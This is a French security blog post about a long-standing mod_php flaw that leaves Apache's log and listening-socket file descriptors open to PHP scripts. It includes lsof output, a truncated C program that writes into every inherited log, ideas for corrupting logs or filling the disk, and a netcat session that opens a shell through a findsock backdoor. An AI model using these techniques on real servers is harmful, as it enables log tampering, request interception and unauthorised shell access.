Indahax - Pierre Noguès

Twitter Facebook Linkedin email

Détourner Apache via PHP

Hello, il y a peu, je me suis rendu compte que l'on pouvait écrire dans les logs Apache à partir d'un simple script PHP exécuté avec les droits apache, même si les logs sont en chmod 600 root. Pire, il est possible à partir d'un simple script php d'écouter sur le port 80 et de détourner toutes les requêtes faites vers le serveur web... Le comble c'est que cette faille est connue depuis que le mod_php existe sur Apache !

Le mod_php ne ferme pas les descripteurs de fichiers dont il a hérité avant d'exécuter du code PHP, on se retrouve donc avec un certain de nombre de descripteurs très intéressants, par exemple lorsque l'on exécute le code suivant :

    print posix_getpid()."n";
    flush();
    sleep(30);

Et que l'on regarde ensuite tous les descripteurs de fichier ouvert via /proc/ ou lsof :

root@linux:~# l /proc/10927/fd
total 0
lr-x------ 1 root root 64 2009-12-07 12:34 0 -> /dev/null
l-wx------ 1 root root 64 2009-12-07 12:34 1 -> /dev/null
lrwx------ 1 root root 64 2009-12-07 12:34 10 -> anon_inode:[eventpoll]
lrwx------ 1 root root 64 2009-12-07 12:34 11 -> socket:[244519]
l-wx------ 1 root root 64 2009-12-07 12:34 2 -> /var/log/apache2/all.log
lrwx------ 1 root root 64 2009-12-07 12:34 3 -> socket:[7137]
lrwx------ 1 root root 64 2009-12-07 12:34 4 -> socket:[7138]
lr-x------ 1 root root 64 2009-12-07 12:34 5 -> pipe:[7187]
l-wx------ 1 root root 64 2009-12-07 12:34 6 -> pipe:[7187]
l-wx------ 1 root root 64 2009-12-07 12:34 7 -> /var/log/apache2/error.log
l-wx------ 1 root root 64 2009-12-07 12:34 8 -> /var/log/apache2/all.log
l-wx------ 1 root root 64 2009-12-07 12:34 9 -> /var/log/apache2/access.log

root@linux:~# lsof | grep 10927 | grep -v mem
apache2   10927   www-data  cwd       DIR               8,21     4096          2 /
apache2   10927   www-data  rtd       DIR               8,21     4096          2 /
apache2   10927   www-data  txt       REG               8,21   435528    6963211 /usr/sbin/apache2
apache2   10927   www-data  DEL       REG                0,9                7360 /dev/zero
apache2   10927   www-data    0r      CHR                1,3                3248 /dev/null
apache2   10927   www-data    1w      CHR                1,3                3248 /dev/null
apache2   10927   www-data    2w      REG               8,21      881    6553938 /var/log/apache2/all.log
apache2   10927   www-data    3u     sock                0,4                7137 can't identify protocol
apache2   10927   www-data    4u     IPv6               7138                 TCP *:www (LISTEN)
apache2   10927   www-data    5r     FIFO                0,6                7187 pipe
apache2   10927   www-data    6w     FIFO                0,6                7187 pipe
apache2   10927   www-data    7w      REG               8,21      200    6553939 /var/log/apache2/error.log
apache2   10927   www-data    8w      REG               8,21      881    6553938 /var/log/apache2/all.log
apache2   10927   www-data    9w      REG               8,21    14338    6553937 /var/log/apache2/access.log
apache2   10927   www-data   10u     0000                0,7        0         32 anon_inode

On peut voir que le processus en cours, qui n'est rien d'autre qu'un simple script php exécuté avec les droits d'Apache, possède des descripteurs de fichiers des logs Apache ouverts en écriture, un descripteur sur le socket en écoute sur le port 80...

Il est difficile de les manipuler directement via PHP, ce langage ne possède pas de fonctions assez bas niveau pour jouer avec des descripteurs de fichier. Cependant, PHP autorise par défaut des fonctions permettant d'exécuter un fichier binaire ( la fonction system() par exemple) :).

Le code suivant permet d'écrire n'importe quoi dans tous les logs Apache :

int main(int argc,char * argv[]){
    int fd;
    int flag,accmode,val;
    struct stat fileinfo;
    char buffer[1024] = "AAAAA";
    int count;

    for (fd=0; fd

Déterminer clairement quel est le fichier de log ouvert à partir d'un descripteur de fichier reste difficile, on obtient facilement l'inoeud (man fstat ) mais il reste à trouver le ou les répertoires qui possèdent cet inoeud, et avec les droits Apache, on aura pas forcément ceux nécessaires pour ouvrir lesdits répertoires.

J'étais parti pour faire un monstrueux log wiper, mais malheureusement le descripteur de fichier est ouvert en Write Only et il semble impossible de changer ce mode en Lecture / Ecriture sur un descripteur de fichier ( man fcntl )... On pourra quand même bien corrompre les fichiers de logs ou exploser la partition /log (voire / si on a affaire à un admin level 70 ).

Pas grave, on peut faire des trucs beaucoup plus intéressants grâce aux descripteurs de socket, on peut voir ici une preuve de concept terrible que j'ai découverte sur un bug report de php.net. Le script PHP hijack le socket en écoute sur le port 80, écoute à sa place et intercepte toutes les requêtes ! À la fin du bug report on peut lire que le bug est corrigé, pour ma part il est toujours actif sur une Ubuntu à jour.

La meilleure utilisation de cette vulnérabilité reste la backdoor PHP find-sock-shell de pentestmonkey. Un simple netcat sur le port 80 et on a bon petit shell bien user friendly, beaucoup plus pratique qu'une banale r57shell ou autre c99.

$ nc -v target 80
target [10.0.0.1] 80 (http) open
GET /php-findsock-shell.php HTTP/1.0

sh-3.2$ id
uid=80(apache) gid=80(apache) groups=80(apache)
sh-3.2$
... you now have an interactive shell ...
Longue vie à PHP.